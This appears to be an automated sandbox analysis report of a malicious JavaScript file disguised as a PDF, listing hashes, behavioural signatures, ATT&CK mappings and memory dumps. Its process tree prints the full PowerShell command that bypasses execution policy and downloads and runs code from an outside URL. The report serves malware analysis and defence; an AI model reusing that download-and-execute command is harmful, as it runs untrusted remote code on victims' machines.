a7ea876bdb01e24464e8d2364e62811f5ae03a3f5389a695b09794f2177599f4

Analysis

max time kernel
122s
max time network
126s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
06/03/2024, 01:00

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General

Target

R_368036803680PDF_3680.js
Size

74KB
MD5

bd0ca744e7ed4817728243c7ab3c874c
SHA1

a5b735acf98e7388613c087a00f3c56f56881252
SHA256

2e8ad04a6d2eacb8773d5844928516c481026c25fa90c2b6e083fddefdabbc04
SHA512

6b11168e41a73ffd3f5967d67b871e78cd6d9c6c4ed33e9b74924a3d0cff3f65c78d4810124b9b6dc278512a01fa41888fc4e790ec8aac81e61d143a02742669
SSDEEP

1536:a8xmobfzwKOs9tQrUsbi165GZZFZ5qu5L9gU6Jl9VeRPZ+gNMHTHquDMT3b/xVCU:iat365GX35q97kv

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://aimotravelagency.com/file.txt

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2148	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2148	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1720 wrote to memory of 2148	1720	wscript.exe	28
PID 1720 wrote to memory of 2148	1720	wscript.exe	28
PID 1720 wrote to memory of 2148	1720	wscript.exe	28

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\R_368036803680PDF_3680.js
1⤵
- Suspicious use of WriteProcessMemory
PID:1720
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -NoProfile -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-Expression (New-Object Net.WebClient).DownloadString('https://aimotravelagency.com/file.txt')"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2148

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2148-4-0x000000001B2B0000-0x000000001B592000-memory.dmp

Filesize
2.9MB

Download
memory/2148-7-0x0000000002410000-0x0000000002418000-memory.dmp

Filesize
32KB

Download
memory/2148-6-0x0000000002930000-0x00000000029B0000-memory.dmp

Filesize
512KB

Download
memory/2148-5-0x000007FEF5770000-0x000007FEF610D000-memory.dmp

Filesize
9.6MB

Download
memory/2148-8-0x0000000002930000-0x00000000029B0000-memory.dmp

Filesize
512KB

Download
memory/2148-9-0x0000000002930000-0x00000000029B0000-memory.dmp

Filesize
512KB

Download
memory/2148-10-0x000007FEF5770000-0x000007FEF610D000-memory.dmp

Filesize
9.6MB

Download
memory/2148-11-0x0000000002930000-0x00000000029B0000-memory.dmp

Filesize
512KB

Download
memory/2148-12-0x0000000002930000-0x00000000029B0000-memory.dmp

Filesize
512KB

Download
memory/2148-14-0x0000000002930000-0x00000000029B0000-memory.dmp

Filesize
512KB

Download
memory/2148-13-0x000007FEF5770000-0x000007FEF610D000-memory.dmp

Filesize
9.6MB

Download